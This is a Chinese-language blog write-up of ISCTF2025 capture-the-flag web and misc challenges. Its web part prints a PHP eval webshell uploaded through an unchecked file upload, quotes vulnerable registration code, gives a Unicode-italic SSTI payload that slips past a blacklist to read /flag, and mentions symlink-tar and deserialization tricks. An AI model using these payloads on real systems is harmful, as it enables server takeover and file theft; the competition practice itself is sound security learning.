ISCTF2025

Web

b@by n0t1ce b0ard

打开靶机进入注册界面
界面
发现可以进行文件上传,因此存在文件上传漏洞。
构造一句话木马

1
2
3
<?php 
@eval($_POST['admin']);
?>

随意输入账号密码,并上传我们的木马,页面提示注册成功并返回一句警告
界面
由于比赛有提供网页后端代码,因此打开registration.php直接获取上传文件存储路径,即images/注册所用邮箱/所上传文件名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
require('connection.php');
extract($_POST);
if(isset($save))
{
//check user alereay exists or not
$sql=mysqli_query($conn,"select * from user where email='$e'");
$r=mysqli_num_rows($sql);
if($r==true)
{
$err= "<font color='red'>This user already exists</font>";
}
else
{
//dob
$dob=$yy."-".$mm."-".$dd;
//hobbies
$hob=implode(",",$hob);
//image
$imageName=$_FILES['img']['name'];
//encrypt your password
$pass=md5($p);
$query="insert into user values('','$n','$e','$pass','$mob','$gen','$hob','$imageName','$dob',now())";
mysqli_query($conn,$query);
//upload image
mkdir("images/$e");
move_uploaded_file($_FILES['img']['tmp_name'],"images/$e/".$_FILES['img']['name']);
$err="<font color='blue'>Registration successfull !!</font>";
}
}

利用中国蚁剑进行链接,成功获取flag
flag

难过的bottle

查看后端代码,发现黑名单限制,由于是bottle模型,因此利用斜体字构造stti绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# hint: flag is in /flag

UPLOAD_DIR = 'uploads'
os.makedirs(UPLOAD_DIR, exist_ok=True)
MAX_FILE_SIZE = 1 * 1024 * 1024 # 1MB

BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]

def contains_blacklist(content):
"""检查内容是否包含黑名单中的关键词(不区分大小写)"""
content = content.lower()
return any(black_word in content for black_word in BLACKLIST)

def safe_extract_zip(zip_path, extract_dir):
"""安全解压ZIP文件(防止路径遍历攻击)"""
with zipfile.ZipFile(zip_path, 'r') as zf:
for member in zf.infolist():
member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
if not member_path.startswith(os.path.realpath(extract_dir)):
raise ValueError("非法文件路径: 路径遍历攻击检测")

zf.extract(member, extract_dir)

创建文本文本档输入{{𝑜𝑝𝑒𝑛('/flag').𝑟𝑒𝑎𝑑()}}保存后压缩成zip上传,查看,成功获取flag
flag

flag?我就借走了

利用软连接创建tar上传
软连接
成功上传,查看flag
flag

来签个到吧

通过 index.php 的 POST 参数 shark 提交构造好的序列化字符串
字符串
访问 api.php 传入记录id,查询数据库中的序列化字符串并反序列化,得到 flag。
flag

misc

阿利维亚的传说

下载附件,修改后缀为zip解压,打开第一个word文档,检查发现存在隐藏文字
检查
利用ctrl+A选中全文档,在字体中关闭隐藏,出现谕言1
谕言1
利用stegsolve查看附件中的图片,发现异常片段
片段
将其base64解码后得到谕言2
谕言2
利用010 Editor查看图片,发现末尾藏着一个压缩文件,其中包含flag3.txt
010
将其提取后发现解压需要密码,利用工具爆破后得到密码
密码
成功得到谕言3
谕言3
将三则谕言组合起来,从上往下读得到flag

1
DoNotTrustTitan_HopeYouMakeTherightChoice_FindMyGiftForYou

Guess

秒了!
flag

湖心亭看雪

利用随波逐流工具得到图片附加内容,发现是一个头部残缺的压缩包,将其补全利用工具还原成压缩包,发现解压需要密码。查看另一个python附件

1
2
3
4
5
a = b'*********' #这个东西你以后要用到
b = b'blueshark'
c = bytes([x ^ y for x, y in zip(a, b)])
print(c.hex())
#c = 53591611155a51405e

解出a=b’15ctf2025’输入密码成功获取一个flag.txt文件。利用010 Editor查看文件,发现含有大量非同寻常的空格或者制表符,于是判断该文件为snow隐写。
文件
使用snow隐写解码工具解码,得到flag。
flag


ISCTF2025
https://linsport.github.io/2025/12/02/ctf/ISCTF2025/
作者
sport lin
发布于
2025年12月2日
许可协议